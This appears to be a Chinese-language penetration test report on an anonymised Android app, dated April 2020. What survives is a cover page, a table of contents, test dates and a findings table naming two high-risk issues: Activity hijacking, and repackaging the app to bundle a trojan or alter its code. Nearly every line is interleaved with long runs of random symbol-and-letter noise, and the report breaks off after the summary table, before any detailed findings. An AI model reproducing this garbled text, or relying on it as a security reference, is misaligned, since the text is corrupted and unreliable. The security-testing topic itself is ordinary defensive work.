4 j2 W4 Z* y) y; a# B5 X6 J0 Y3 ]
1 K/ q W3 @6 e- S, b2 U7 v7 r0 Y h D" x8 w" o
7 [! W8 P5 O% K7 w$ d) t
# v1 ?6 L7 f3 W& l( K
( P9 ?0 C- Q; j. u* S' E1 Y
* Y- N# I ]! ^6 }. w* i) \ N
& v3 _! C/ `9 V. R+ a# T: E, `6 g
$ a7 C6 x" g1 G& c" A
0 K! h- h5 Y/ i# j# }9 J2 U; ~$ i, V0 z
& C6 l0 e1 x) k; \
2 b, ^* _5 _1 }! J! K 文档编号:
$ [) J$ U9 n q) H$ l" c. ]8 y" p _4 ^: Y% W& a) q
3 T ]" }* I9 e, t
( {2 [8 N1 ~6 P& b; a9 z L 1 o6 c! C" [" }" s
- p3 n7 y+ s2 ^6 s- ^0 c 6 H. }% V& n0 v' o% R4 Y% a
" n; f' E/ u* c6 F! `$ i
" i! L8 r; B) `' M+ m8 P& j& H
7 B& j( _* t2 U" t+ @+ N! r* ]7 k
3 [$ _+ ~0 h! L5 u" F& m
5 f5 q6 _. O) X @- Z5 n
) I$ u) F% A2 v$ g) K: V
# h5 Q* K3 I' p9 N; ]. C6 C
$ _* a' V1 [8 X! Q
B2 N8 U1 j* _; W8 n, q1 a8 T
: b( g; k* j+ ]* y+ B7 a. Y+ ?3 l- ?0 G6 ~ N
; B- l% L- `' N6 q
, K- w/ v' U* f8 ~( B' h! E
; B0 {) n L: u# q( P: B' S( S) B8 k; ~8 H, u* h
9 t6 N+ H/ ~! H& ^# ?
! y( i$ I" b3 L: B, W P1 k) t* p, b, b& r: c5 c
! R, y9 A& H% i8 e
U( z! g1 {6 T
3 r& Z, f7 L8 ?, d" S l: v4 p) A 6 c6 Y( C; R7 }
( Y) _1 N0 ^7 i8 g8 _
3 U' a- [6 u' w; t+ e8 A
7 h. H# u- Z+ Z" i2 j
3 h; T2 n) y/ m
5 P7 G1 U' l) e% E7 H1 _
5 u: W7 A( ^( n0 h" o
) d. D h% d/ R1 G- ]$ R: F
某某某APP渗透测试
6 L3 @0 y0 l' T; s- T
- L0 w& t6 J# J4 T/ m( \. P
0 h e) U) G1 ~2 N* b3 H
8 e2 w4 B; Z0 d q' W9 @6 w
: r; R( K g0 ]7 P4 G: T) W$ j3 ]# h, T5 V& V9 J, |% X
; ]2 [. ]( k& t1 z2 E
6 W" @6 C! G' h9 p( _0 w
4 p) d9 w9 z& j
1 h0 K4 I7 ~* H R* S) E T
# ~! c1 T8 K& q) p, N
" X; Z& p# K+ U9 R/ C* ^, L1 L
5 H9 v5 a( W- u |0 i. a5 e) h9 Y1 D+ j1 r( l* ?3 ]: p5 ^/ `
3 q7 [* Q* g1 B' s4 d) [+ }
) f2 s0 [9 X/ x S- ~/ B# O! w9 |4 t% s B; R
. V3 i% @( x) z' T9 P3 j/ u1 I
; A0 X, p/ Y& Q2 a5 {5 n5 Z# y9 _2 I; }2 | F! L
q% C0 B E; b Q- X: C; N" y; k5 r, ^( H' ^1 ~. c" B" C
7 V, x0 B7 f5 N$ z7 m* Z3 ^3 P3 L) |0 [6 I' r; s% }# i
* J1 P- Q: g% J$ f$ w( T( N
$ N! X$ M8 ]: w2 H: q; B& F
3 m5 E$ P; N0 |9 `9 E! `# p. B- X
" Q" H. S0 r" S3 j( @2 ?
& v# A t4 u1 V5 Q
0 a& l1 L$ H$ O+ f; Y0 H: |8 D 技 术 报 告
: n8 T. K' B# [
/ i/ m( r- J1 \7 D. d* ]' l
O( J; f) R- G5 V$ y* `
; {4 Q# R4 i( P9 B, Z2 b, a4 }
/ Y$ [! n$ p8 Y5 R' \6 r
- w7 b! V! c: ]" \+ J; [ " n- e3 U: q/ K' l* l
% `) a8 J5 e- ^' q& F! U
7 E3 Q5 d3 l6 t, E; T4 S- Y; v1 q3 {1 ]5 L, h
7 ]. D: ~0 V* i' p1 k/ E- d, I3 @( ~! [& E
2 ?) \ S8 |4 s! O+ R C! Q5 W$ R5 X# q7 }& M) Z
1 {) n4 p; L! J+ Q9 B
/ S7 R( N- f, S3 [# k( ^) P! n ' j) {3 N& Q. U- b" v
% s O( j5 q i" w: B/ _( r; d $ V6 P. i# q6 Z1 m
% t4 N$ n# E* g# Z- P
/ T+ j- ^) n* }( [* i4 o
% a b) W+ {6 K/ r( a
# r2 E+ g( W6 s9 ^5 g9 s2 N7 b9 \2 f/ n$ O. U" a5 @* H
0 Z3 K. o& L8 {; {: N' L
5 Q8 T2 `& V6 q' i8 l- Q
6 J) Y0 ?" t! m
) o4 Z' R6 j6 Q, R, j, z
( w: H# t! H7 H' D
$ W+ ^! W& s1 G $ k* L8 a7 F3 t/ h$ r# q& x$ n
* w' O8 f, G v! D: b! Y
+ C# v9 S7 M8 G% B4 f
6 C3 e0 u. D) B/ x4 S% l
3 `9 p' X& g; S M3 J$ { ]3 n/ D; I, I! o- |+ Q% B2 N" A0 b
/ Y! P& ^, v4 L2 B" e" h! G$ X2 S" S1 c8 B0 L% O1 }3 i5 p
( { }( _8 p `7 b0 M+ C1 z: ~' K7 O0 q, ]: ^8 L2 O0 y
5 n, k- {. k0 S) ?( G+ i0 [
) h/ H5 X. V6 a! N
7 x, u7 |# _ s9 a2 [' X
1 _* X0 e, _9 \" e6 x1 j! X
! Y) B7 a+ T$ u5 d& U* A4 }9 v7 S/ E
* `% Z7 F' h+ Z) l6 d- _* ? 9 C+ T9 o6 B8 c5 ^! S) h& w
m; L& f$ C0 L 0 N/ u' {& Z* e( }
% l% T4 F! t+ p/ ?
7 Z8 K8 X! ^1 u0 t5 Y+ s% ^0 C# v! a5 f3 g- m0 K' _
! _* o- n+ E. c* I2 {4 }9 f
2 Y7 X ]7 I. w- s/ M: G* y ; \5 D& G: Y M. _7 [
! H5 A% U5 k& Q/ J* c, w
9 }, S7 l- N F6 ^) l
( E" l+ f( X- L, t4 W: U! m
, p8 z" G. G7 p% ^3 m6 }+ W
( C5 ?; s" q- E' j; _4 o7 W * W" Z4 s7 J7 a. v2 L7 ]- E
, L! o8 }+ u& \/ E- r {. d
6 m# Y3 G, j/ H' Z* v) k1 |
8 x- ?% d: z( I9 A& a8 \6 O
% e4 k- c( \% X$ K8 r- t4 R
( c+ v1 @) Y1 R) n& s; a0 ?
J+ P3 K. [- M
* Y0 W: A1 V& o* ^# d. W
" H2 D' `0 [: }: e& Z p. h0 o
4 L% B4 I0 X Y% V& A( e 3 N E# T' e5 v/ K6 j. G' X
" |6 v c* H4 p) i9 S7 B+ t
. C6 f4 a7 M. }& h
" V* x7 N5 c* Q) m- M. \
1 \! |# n. J9 S# S- J% x/ k
f' `5 [7 D5 W " W. j5 J- c4 w5 \9 Q
! V- n0 h, }9 B% |
2 N/ G! r: ~7 P3 d9 S0 o
- f/ ?' l3 F) s4 @# R3 R
: k. d" O* E5 E) r5 Q3 k- `$ C, Q& ]8 |4 I9 `, [/ K7 m
2 G7 D: ?2 y7 O/ r W! t# |; ^# B) R% L" t: X! Y0 \4 Q4 j) z
- M: h+ }/ q; t9 ]# y, p1 L
1 N. T4 O1 S, `/ B% ]/ A4 n
8 w* y S' Q* E: y) S+ O7 j9 m) [, a K4 z Z0 o
: ^: A, Z7 p+ ^" `
4 ~. G3 ^9 g4 ?2 H" n
/ s- w; F* z `3 `. ^7 O9 @7 S1 v4 w3 w% M6 C( P% |+ v
% g& P$ X- Z! t- u3 w4 w! V: B, j& W2 [, v2 v8 k g
5 C% X* R9 z( t3 \; _
. f* E2 n4 q6 P9 {: F/ v
- w" e, Q6 B6 H. q/ I; z
, s6 B0 l' }) l; Y& D7 D
* `# K- f4 P! m8 [! R
' a3 L. r. x' H2 U' D9 ^/ @- k: _
0 R3 T( I7 Z. }" s" W, p+ D1 b9 C2 }/ \9 l0 O5 x
7 K, I6 [' X9 p8 S% `7 F6 f" i4 P7 {* C
5 v' M, @7 N. C) |
' @; c% z' r$ Z2 v
% j: y$ r0 T: E' N1 E) d
$ h* `/ O% l- ~* B% ]; d5 p+ V x, [
1 i% Y% y2 K6 R \" h! B" `7 D' W4 T5 \, d$ c
! f8 X5 x F, R( |9 w6 L& n7 c: C/ p5 Z
. H) Z& b6 n3 ?. ?- o5 O+ s
( f( Y+ H, N$ k8 J1 s5 `5 G/ w
二〇二〇年
/ `, x( r, ^/ |) L8 j9 M) o$ }3 f Q- S
: v: M# V+ d% |+ C. R W6 Q5 m: F
: l5 o1 J; N/ a: _! P1 C 5 m) @ u, H7 \$ _! A" r* l& u
4 \9 F) \3 h( E# w5 M7 J# g
. E* R! D1 ^, j* h1 ~5 ]: D$ e
~5 T5 Y- X2 l- B
& N' i* y; w- I% l M" w/ N1 V7 N" J3 U" f9 }
9 m4 K9 v2 B; ]% C% Q3 M% z; Q
" O: Z+ M8 e& d0 |5 g' |8 q. C
. u" M4 L, ^) ~
6 e0 X/ P/ ]4 _, U/ `2 H0 {& n; l
% e6 B7 D* D/ }- e% N; w$ ~! m
" _) [" H r$ N, q; Z) r1 k+ k# K
7 o$ @# J& a3 w7 Y& y7 R! k/ E- a6 v3 d
! L* d& a( \0 {) ], O0 J- b& V
3 A5 e2 Y$ l* L! M7 i7 S
8 H9 M5 D9 d& K
' }. W: y2 |- L* d6 v
% u5 n1 U( Z' ~ R2 m$ o! T& J% r 目 录
3 o) N, J: Z* Z$ {9 f$ T
; @) v, K9 j# u* ~
4 c9 t3 w& l% A
3 e! }1 C( Q4 f r) L' T , R0 Q5 U) |9 l( H& {
6 |5 k; v8 C( s) M7 r
; u1 M {& A8 b
* X% ^6 {/ b. V8 F+ `/ u; M
3 D9 A0 p) Z1 _3 }& n
# s4 q! A6 W! W! G! d9 n
1 \* m: M" \! l2 b+ A& i! _* I* s$ o1 o7 i& p* p, F
/ Q' Y0 A9 u0 ~: Z
# |6 A! o% Z) Y, W7 L9 @# l \
1 概述... 3 , a% U4 F- j/ W: e; V; r. j- W
1 L b& J7 Y0 h9 M& x& p! d
; e( l1 Y0 P; X& H
( j a) _) M- z
" e- I, `$ ?( u& u# e
; C; k4 h M, t
1.2测试时间... 3
- L8 T9 L) g0 w3 d2 E" F
" Y `7 G( \8 a& R: k! |
* {2 e+ b2 I& p0 e0 t6 J
# n7 \( f! b. W/ U( N \/ v( e5 S) t* [: ?
* F# m$ q# w# z! o- A. i 1.3测试对象... 3
. }+ f' \3 \8 _5 C3 w- c7 s4 f- P% y8 C. w/ ~' N. ~
. q8 `, {" E+ Q+ M; p5 O% T: \1 e+ b2 K
$ I2 D2 J- Q+ D; s! p ; R* F8 H U' ~8 P5 A
9 @" a( E) o0 z6 f5 A! h6 W/ a3 x [ 1.4测试结果... 3
4 V% x% i& G n8 m8 S9 W4 X
% n F8 |$ ?2 f& U5 C6 p' y9 o
8 ]. a7 @8 H- }2 b$ V5 _( \2 P, X, N* Q6 H2 F; L
0 U+ q2 U' U! y% c e' G* J, Q8 K& t
2 检测结果... 4 0 m4 }' D' n6 t. {( m+ T
+ P. }0 N0 `, B+ a! V
0 N! |& b4 {& P: h6 J
& P. @" {" _) g. [) g1 U S' g
+ R6 f5 z |1 Z# r/ c5 @- |5 z* N; M
2.1 某某某... 4 . Z3 n3 N! ]+ m) V) ~# n
% H2 B+ ?7 R* M5 M# h: @
( U& B# C8 D' B! R' r. D( L" O" y+ W2 p# @( b
S" g# d5 @8 S9 I( P
* V7 C! g* S# ^! K- t4 G" { 2.1.1检测目标... 4
/ R$ `* J# l8 i' ?5 h m6 h$ p, j$ P5 v0 Q9 K0 u3 F1 p
9 Q& q# ^ l5 k6 y2 U# @. j! q1 N: P+ I; H
: u' [( p1 O3 h% Z" a* r7 ^( X
6 ?6 f4 f9 M' y# a 2.1.2检测结果... 4 , i6 M7 O U. X1 ^# J7 B1 v/ Z
) u0 t: b: }. \6 i
9 g# E) `$ Q/ `/ M6 i6 b5 s
& V3 _" q0 P" }9 l, x
" j+ w) c8 F7 S2 ]) o6 E
3 |6 S; J. ^# I" P1 s 2.1.2.1. 4
! l) e/ V. [# j$ Y" _* r3 @; A6 j" O) r. V5 c* C3 |
1 i' h/ u, O! Z9 @: P
/ `# o r7 Z: B. ^( t. j2 ?
' [- y) Q/ T" N8 q$ \6 {$ [5 V/ S% _+ P0 M5 f, T
2.1.2.2. 6
- E7 x1 A% H8 i; D" c6 m. Z; A( h2 D
8 O2 V6 E6 q4 P/ m8 _1 x5 u
0 N0 z; d) ?/ o/ O# R
2 t1 `/ Y% v; a! k8 l+ r; _* Y' h# G; G3 D) V6 I5 ^+ Z
$ c* ]) j v9 y/ m9 Q
* N2 ]( C2 D9 x2 [3 d) p
" m$ `5 Y( F0 o0 X
+ [# z, U$ J3 }+ J0 d& T# V0 u9 e+ E. W$ h
* y, k3 s3 U5 A/ e7 R: @4 ~6 S
# }9 l8 Z" }' D9 A# F4 b c0 W
: w9 E# G' F2 h+ O' b% U0 Q4 l
" M) p. `0 R# T5 M9 k' {. w8 u9 p, G- S9 a5 R1 e
3 @5 _1 h2 v: }' t: T% ] N
! B3 T' l+ L: ?6 s& q 3 M0 k. H* y; X( U- P0 ]
8 e' g9 ?) d9 W 1 概述 3 N7 M) `% r$ E* C: n* {. D
2 k+ A+ {3 w, k' }- Y- j
( P* r8 U. y, T% A$ ]
, Z" \8 ], `. |4 ]+ b% i' d
5 y4 u. v' c* m$ K6 `
9 i: L( B" H% D1 z$ V
1.2测试时间 5 V2 d7 t+ p8 A1 N
3 Y/ E+ J& s! N/ ?5 a
( |/ [2 a+ H( K6 F7 g; q
9 {4 I5 S& S) F( a
) r- \; a- [- M( p. |7 j1 H& ~4 y8 j$ [+ G
$ a7 L. g7 Y/ I- W2 N0 H
) ?3 ? }) z; f9 s9 \8 v
! |- z, z0 |0 z N, m9 Z3 z% e3 T3 F
( ]% W% J5 l( k3 }; K6 Q1 ^ Y& ^* m
+ c6 o% n+ m9 E$ U6 }/ U; x 3 E$ [! n# _& J& d: v3 u0 \1 g
5 w8 J4 P3 q4 X1 h% `: _
渗透测试时间 " w" X) {& o; k& s; o
' J9 I" h: ]2 z7 k4 s) i" w" a
5 F7 {9 j) H- @
3 |: _( |- @! @" B" Y( L2 ~) f |
( }9 {' i/ X$ r" P# G5 X8 F7 j+ f! _/ K" U. T9 {' u1 Z& _
0 Q# B$ o9 H" @* Q! P' g7 v
( q2 Z$ C9 n( I* Q, Y
: e$ D0 i+ l3 t4 t1 S
) G0 I+ \9 l% _1 T$ U . V' j0 l r V! A, @+ n0 H! K( \1 R5 V
2 q# m) y% r$ s
, Y \. s- D1 S+ V- B" D
1 ]4 x; t i# V4 i2 @ 起始时间
( G: m7 h* h+ d2 \6 _; J+ ~9 [, Y# V. @ g5 D# S1 {
) x) a$ R. @2 Z/ V. t3 |. `0 @( w% h" u5 a7 C* x
|
5 I% |7 d% T* z" h/ Q" x" z; d2 w9 ?. P
& o" r3 |2 ^1 n; ^3 r
' \# k9 f9 A8 W8 O& g. _
" `" \9 t' r; X
. S4 O! @! a6 ?1 e5 ]3 Q
2020年4月6日
9 X* J* u3 m# n7 U! L- B7 c: _# ^1 C$ n( j" s
! a! Z# P1 o- g. Q% ?: C* r- o% Z% X4 O9 l6 q; ?& X' ~
| 6 o Z) e- L! a8 P, w" e) t9 h
$ j5 i1 D I8 n0 S) K. R2 j+ W# x4 ?
% F9 V. c/ [2 p$ {, S( E% m
# T8 }. H) [" h# K$ `& w 4 A3 w3 r0 ?" E, J$ y: {
9 e5 F9 q- m# `. J9 a $ M+ i2 p8 ]; O1 \% O* G
8 C8 ^, `4 M( K) T
! L" j9 T# }2 Q' u8 x, t
- b3 E2 G/ v) f( `3 n, | 结束时间
2 S+ q- R* L3 N2 L" g4 s: ~9 k/ Y# B; A% A4 E
3 i2 \- [# r( F) Z# U( i7 y# H( S1 G! E4 \- Q t
| . z# f1 A$ U- t* H) H
& d9 a9 i. C' j5 o- I
2 N7 Y0 d& E0 j; k
/ Y& @+ Y5 c' b/ i6 h2 q
7 o2 f1 r, I% B: P* G% C/ I4 O
" D/ Z+ g7 V! v& y$ u; P 2020年4月9日
6 _6 r1 k4 z( V( e+ `+ p3 ~8 G! g/ V( Q5 B6 c
% A5 O8 G" X/ \" G) s8 b
5 m) R! g. L1 _& r7 X9 n' \1 g | , Z2 o6 a% T$ Y0 K; J* Q& J, s. ^
& b% o: [, ~& C6 m" p; _/ w
- L! u$ U5 v- r q' Z1 C" b% a
u8 `% x" _' x3 p7 j * k; e3 z7 J) g. R" A6 S+ X
# ~5 Z4 X3 K: N) E- I
L' @! V z6 t. m9 ]
: ^7 S4 |& f( Y1 x n& q0 H) y
* D( E8 ?# u3 Z) h5 q/ H
- e6 s# h7 x: }8 l5 S( [7 G 1.3测试对象
: l' n6 G: a. m5 t' y' t3 S/ J1 M( \* h+ x& @: B6 P; c+ }
1 g6 m: L+ T' F
! p4 u: j$ l% ?. i* V6 k
0 ~' e8 u2 a( C( c4 P
t ]% k! w7 i, b 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ' C; M! i) E4 ?/ G5 ?
; q4 t: n. K+ a& i- ~
# D: ~0 E1 }6 Q' }
* N) R2 Y; U4 @. ~
9 X0 p( i: o0 a0 ]( l! t: q/ H; j i. F; ]/ h
表1-1 检测对象 2 I1 A. I( B: m/ _
+ I1 g7 H) M9 A& N. G; D
5 M; ^. K* k7 s/ H3 n. Q: S2 J
" _+ U7 Q& W h" Q5 { D; e0 k
3 P; c h& |4 g2 _8 ~! {. e: z
4 i: j q r' t* m5 X9 W $ v% }! B' R& O' x
- `2 x) C- ~1 C; o; B2 Q H
S9 x% P+ b. h- I6 m( v% Y9 |1 y8 y5 ^) q* r. G
( S( Z8 i% q2 O: K7 G& [2 J; |1 v5 u, k3 c! g) x0 g0 T7 S0 \
) |$ _" h/ \* O2 c! `! ?! d+ B% j0 x& G4 j
序号
2 z% g3 w# @) q' t, T
: k! W: v. J' b. g# q# l3 u# l 4 o7 b/ Z# \# |8 S# I9 |9 N
1 s3 N7 `6 {8 ~5 }) T9 n! e |
( ?! ?) |) q' [) j2 v6 ?. V: }5 H4 X; N1 B! w9 U* s& c- v2 \7 M
1 g' M6 [/ T# h# Z$ b( P
9 N! |5 V4 ^5 V7 B # B& s* r& O3 v* S& J
" ], @; }. ^( v# f 测试对象
. L' w6 m/ m3 B. Y: p* x
2 Z9 N8 h; ^& U% w9 E. Q" i+ x$ x q
1 J7 O$ F2 K, }9 A; o
# v$ @* C0 K" ]" K6 u% c6 V: O( Q$ E/ e | / S! A) t' R! [
$ Q: _0 ^, r% m8 [2 \* Q . Y6 m6 ^8 W7 y
6 G9 Y4 R, l% `+ l
; c4 L @) R e$ |1 q# L* _$ ^
/ b$ L3 B. C/ [- ^
测试地址
% o- q) U" G" J' S, s5 L1 V
& Z3 }, Q' a7 P n' Y1 | 8 S2 Q3 _+ h* i& e) [
, m: i# S( L/ ~3 q1 K( S, h4 ?
| $ }+ H/ e E7 S
2 g- L8 y% l8 @; p# O3 K / D w2 u! U# l0 D' x( Y/ f0 [
p w6 f0 ]2 V
% n2 c2 K; I) p" i; ~" g1 x' V. F; N1 Q! b4 K! Y W' }
安全漏洞 $ ~8 B0 ]2 l/ ? _( L7 n6 P! d
$ j- p9 V+ W# p: ^. r
& B3 o; w, D: \8 P, D: j& U$ L
. R6 Q% c8 F7 ^6 ~; g/ d# \ | . c* m" s: T- c: p0 C
0 s E7 p8 v0 \0 d9 Q& m- s- Q
6 S& }% N$ M; E- U
1 ]3 n+ P0 q8 {6 d6 m
, f% A* ]1 C6 k6 U* ]
+ G3 i" y# q( [) l; K% P0 |
7 H) e8 N1 Z( L9 Y& k
& i% o8 F0 d" G9 N8 i( `
( d. _: {7 t! {( r5 j
9 ~+ D. S6 b0 W, l; x 1 & a6 W0 b4 @# F
: \; Z8 _4 Y5 {% T
( U0 u* h; [: ]. W; J9 Q; A" A
( Z, A5 L+ F0 E( q# }: J' H5 O9 R5 w | ) k7 E1 m( o% Q( P
& T/ E9 d- V! p. I
- O$ ?4 m1 z- e; J0 V$ W! L
# u. }. v( E7 P/ G4 g% [ $ R; H6 }* L- b. U9 L ^6 D# c
$ S% r" l4 N# D' v# s
某某某安卓APP
Z3 i: B0 [& X
/ Q$ ~/ ?8 t. I1 A/ g6 t
( E: D' ^- G( m' \8 g
' A7 G' O8 T) v! D) E! u. {1 s* F K0 { |
) t( K: D# ]- ?7 d' s- \
d7 v ^* j( g & l% E; e4 O2 o
8 |) q: `0 r$ q h 0 }+ R# k) }" |, e0 w3 K6 I: X
% P& o: {9 Y4 i
! P/ p Q: ~( a+ F# s
( V0 h& i6 h3 Q; a/ d6 K( i$ v
, Z# I- |- b: H' }
+ F- M+ v$ j! b9 N( b2 P | ! z Y4 a5 d, \7 C# r2 M0 J1 X* O- @
d5 o* i+ U/ ]! w; Y+ d" L* `$ p, Z
( Z& _( {+ K% x# r! ~' Y* D% D6 G! I: @7 F- U% ^
2 S4 f0 c* ~! I: G% i" M
! S; m4 i+ i, W# A r P
2 9 Q$ |) x0 J# C# {
! }: U$ T, d! V, ^ 2 j" i* X" H8 g8 ~
& ]5 c& V4 _5 g6 c: P
|
, o. L9 g- q# ^$ f! D( T" c: j& N2 R& Y
. a( b. n. Q, r+ t5 W+ H& p
5 w( b( @# g! j" ?7 T% A0 S2 d7 u # F: U! S, g8 Q1 k# ^
* I$ w4 k$ J s: Y3 a* c" z
8 @; q" W7 R# I( }) Y
1 W2 M5 ^9 [" z! f% u9 x( k( E8 V
5 Z3 D' V: D9 N2 _+ T
7 t( x5 q+ j5 r% \' `/ Q1 f 1.4测试结果 ) p q- X5 |" f+ T. v8 t+ Q
6 ^& t% c$ ~' n- ~: {# H
7 l6 J r1 H! E7 k: k/ p; M: x H0 M; t7 w7 W- `1 {" r. u1 H! L6 Y
! q: e* b8 `6 e, M2 {
. N/ P2 W( B' {9 d
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: " ^; t# n& T# l3 P* N9 u2 ]
% h" L1 c1 D! A
. y2 }: e& R3 S# A
7 w3 X, D* }, Y* p; _ % e% Z& u+ k9 D- Z+ a8 R7 M$ G' P' x
9 l* S9 e3 t$ Z $ i; i9 H3 T+ H& U9 ^( d
, P; `+ [# k' ~6 ?. V; Z0 Z
6 ~: n7 {- @- F! ^3 s& y
( B J* r1 F. z+ U 7 l7 J2 R3 n- @
, r) @" A- ?; K$ [; `2 e- N* a
* C8 R, Y6 _ _- T& F% N9 m+ } _* d/ L0 ^/ F2 o: F+ |. r
- w2 @6 d0 {# @5 Z& [, e0 k3 V
* R2 K" s1 d2 \0 v' f
; u# Q$ C4 }' v
* d7 p& R6 O& V2 |9 s1 x# X2 B$ h: H
. q H! m! y) s) U1 H6 x# p* A" G( G& |1 ^6 Y" I s$ y( x! t1 g' j
2 q- D/ V& {. C+ D5 Q+ C1 ^- Z- m
' E$ r* O) S9 G$ j+ \ 序号 5 o& ^; @0 T; ~" ?
0 ]8 n" R% b' U: ?$ @+ R
5 {4 G# A3 S0 U+ A( h- {
7 ~: n. J7 ?. h/ ]$ Z0 s. e. ~ |
2 d/ k% r X1 j! W, L$ p
, |; F+ ^" ? u) x6 k# f
9 F, @' f( q7 U d. H! z, |6 W" q( ^9 T# @; `* H
: ^% i- C7 k }1 i" l% G4 ~! m% X
. P5 Q4 ]9 Q. z* T$ }; c 系统名称 / n% }' H3 D" w8 U& E
, w% W$ N1 K- _9 V* P
) U! P& {0 f# S# {8 h
2 T9 ?3 x! e- x% } |
5 G/ E# X& _" c6 B! m. @; m8 P2 }# v4 r
5 M( ?/ b3 B. l& _; p
7 d2 R: b8 Q s: c, L
( J/ m3 e$ p; S& J
, L0 s7 O9 I' O8 G 漏洞名称
" w4 E* w- P8 f4 q. h8 L
8 M: t2 K! F+ Y% y8 R / G* d. a$ N& L+ F
: _ _: b+ k3 b2 U2 m |
a# _: G T( S! s( R
0 i* l* r: k, Q M; d. M8 T" e7 I
4 l, c( \' W9 e; U, w & e4 q: {6 r; p
8 @# c) b( g- b6 ] 漏洞危害 4 M, L$ C% c1 n y+ i
& k# X- d0 m H0 b. y3 U
9 z8 [* e# |( `" O/ s
0 D* ^+ v( T- v' Y& X9 X | ! J! R ~# p" K( B$ k) h
/ h+ d" j0 B# \2 X& j* W/ y0 \
; S* h1 e# M. J; ?/ c
- u7 r6 w$ g/ J K! O$ b* z. j3 m g $ j$ a3 l3 A( M+ l# L
8 q. g& L) ~& A, S8 b
修复结果 2 i8 I: {, B; S' L) Z Q
/ k( o9 R" q9 c$ G
) Y# c" }' D! Y1 j @2 m; x9 ?8 u# L& l/ x, I1 W
|
% U( q9 L) V. \# {* N) g& v9 R
N4 y1 t9 P3 l% ?& k( {1 N
) F! m, q$ C8 K6 w; y w 2 m3 P9 _: S+ u& q- ?" h J6 z$ C
' P6 S$ v3 o9 g" Z* o* ^: m5 F
, G4 p/ A2 P/ r" v/ O
7 v. q2 R" |1 n7 a6 [
) p8 D% Y4 b0 v) G
- c1 a) w$ R1 N% w
1
4 r% D# y) o* F6 o5 u$ Z( ^
, {/ Y2 X1 y, h4 p( W1 F, y ' s* J+ ?7 _5 b
( P* F0 L, [! N6 ]0 n |
4 H- ^7 N2 o: ~, ]& `; }$ Y
6 Q) x* m* U8 W
% w# R, _) \( q# H+ D# g. b7 B0 [. Q" C# Q/ o, Z
: f8 K- ^7 A2 g( [9 g
7 @$ Z# B5 \/ N& M 某某某某某某APP
: E$ D! i8 O3 N1 F$ z( x2 y0 L/ g- v0 w! c5 `- j/ I1 ^! p
. O) F! m. o: V" [& I5 @0 B
' w0 i& R6 m) N: |3 m | : l' u1 O! c" d; r& Q
8 s$ C+ y+ A8 R8 x6 w9 p
7 h5 W1 k4 C/ a0 d
3 E/ E Y+ |+ B! ^+ a
( {- I1 E+ n7 s; i! d( l6 A, v g- `" C0 p9 ?8 K8 j
Activity 劫持 % U I% A# [( x% }
$ M4 n$ \! v. h0 s
( x3 J9 m, m. K, U
& l8 D, k: U1 s( L2 H 8 R! r* c! t2 ^- {5 {- f7 | ?+ Y
( L L) C& g6 c* f# D0 T) ^0 v( @
, i2 k" ]' W# W. D
6 b1 r! ?% C) K3 f- R7 t
' T* W9 x2 @) A" |8 s4 D7 p. |% [7 f
|
. f4 _6 |, v! X+ E6 L9 }# `# Q5 [" |) k
/ \* }8 [$ [5 u/ Z- w6 p9 Y, n
- J0 S7 ~$ r1 ~+ g u4 m: S
0 c/ O% _+ Z" t& i2 s0 N 高
" O4 ? g3 f3 K( u& K8 e' P% @7 O! S' w$ N
# F( P' z7 g* E4 W0 ~9 I, P4 b' u/ F
9 f) g. N3 C$ W* a, B6 o
| ( |0 J3 o( K$ O# [6 S
' _0 ?( U; h/ ?7 d" b6 ^( r* Y* p 7 k. t2 `+ B) M+ Y5 n7 J
; O9 W/ s5 Y7 \: ?) D4 b h2 j& U- W
" F ^. Q- ?) D& h" D! U
) v! c6 B9 r, z6 z' H) h ) l3 j: U2 i& y5 S0 I4 f) D3 ~7 L
3 y c) g1 Y; y/ Q 6 t9 A: _, V8 V9 C+ }
9 q4 b- }, C, b$ o- i | 0 [$ N5 I) S1 S; w6 X2 L
, M! o- i/ w4 M- A2 Q: Y$ C/ O$ {3 }
5 C. X8 {% N& E* I& C: f
: l4 p; G# I8 ?" w& h: N - _0 }; C v$ A& K& o
2 M) o! ?8 Z7 ^1 H ' E6 b, s9 q& y6 V, X5 r% A8 V
( @1 }. T$ d& d1 e9 K1 [: [
8 D" ~3 o K9 }' ^: g7 a+ n; s
% t4 S, d; S+ [7 F 2 5 L- f/ X, t( S7 e& x- z7 p! T$ r
( |5 B& L- i: w. N: |5 ?1 o ' F: @/ g" I- d7 z# X* y
' ^4 ?' Z o! o5 D4 }: J |
! N" a3 \) g3 A2 p& Z/ W2 T k/ i$ Z5 U1 |$ S1 L
7 |% i( b3 O7 a( ^4 D
4 d0 K) a. y' t % [! ]" @% ~3 ? f1 q
/ H' G: ^' C) u% V" g 某某某某某某APP ) L' z0 n9 Q' G( f( W T
5 I7 s4 D1 _( v, K- x8 t6 K
6 }7 U) x' m( O" x6 H7 x F% l
% m. Q! L' H3 b' u |
1 R v+ p* r1 k" U& {5 o6 G; Z4 \' G- K8 e0 E, x
0 o3 \" K P- b2 W. Y
9 T$ |' I7 G9 g* D
. {' o0 I' G' P9 ?8 Z* M2 [
; V7 ?- ]' N( }6 ^( V# Z
反编译二次打包捆绑木马、篡改APP代码 & P) T1 Z& e- {' F7 G' V
! c3 b) M- B' a4 s0 }
: ]. s' n9 J8 c
8 g+ P8 A. r$ q! f | 8 J) g) |( J8 r/ a# ^
. j# K3 b3 p! ~* `4 ^
# H9 g: ]( i" Q0 U; Z% H/ u4 p. V' [$ k* K
* f; v3 A1 g) k; t$ p/ g/ ]" q
" @7 R' \8 ]8 c* g3 ~' A, _ 高 $ [; v O# C8 [. Y0 H3 p. r
9 F7 D& }- j/ r' u: _9 A: n0 [
, ?% Z9 {" E3 U* U j* n% s! g2 X
|
2 i% c' Y2 g( B7 i. |! s
" O$ n% x, W; x7 I
: p/ M% E& e3 c5 N7 V
3 y, R8 M; I. T& M 1 q; d) i" {' L* |8 d$ f
! @9 V) I+ ?& [' ^ ( ^# j6 I3 J& K
v3 L% G5 D4 N6 s5 q( m: W- T5 [
1 V. J) l2 q" H& k V( ]/ Q& o/ |( H% @0 b- H
| 4 N3 x( h7 t, d7 S6 _! m( r
# o. Q2 a% m2 L
& B/ U' {) x' B4 L9 c
l( b9 f. b2 H, I2 H5 S( | 1 j7 q: K9 ?7 q' l+ _
$ e! m' L2 q' D8 @) ^) u1 @4 d
! H) r) a( G3 A4 C- S
( N9 F1 X* w; S/ }: i
9 V6 ], _% a+ a, o L( v# I
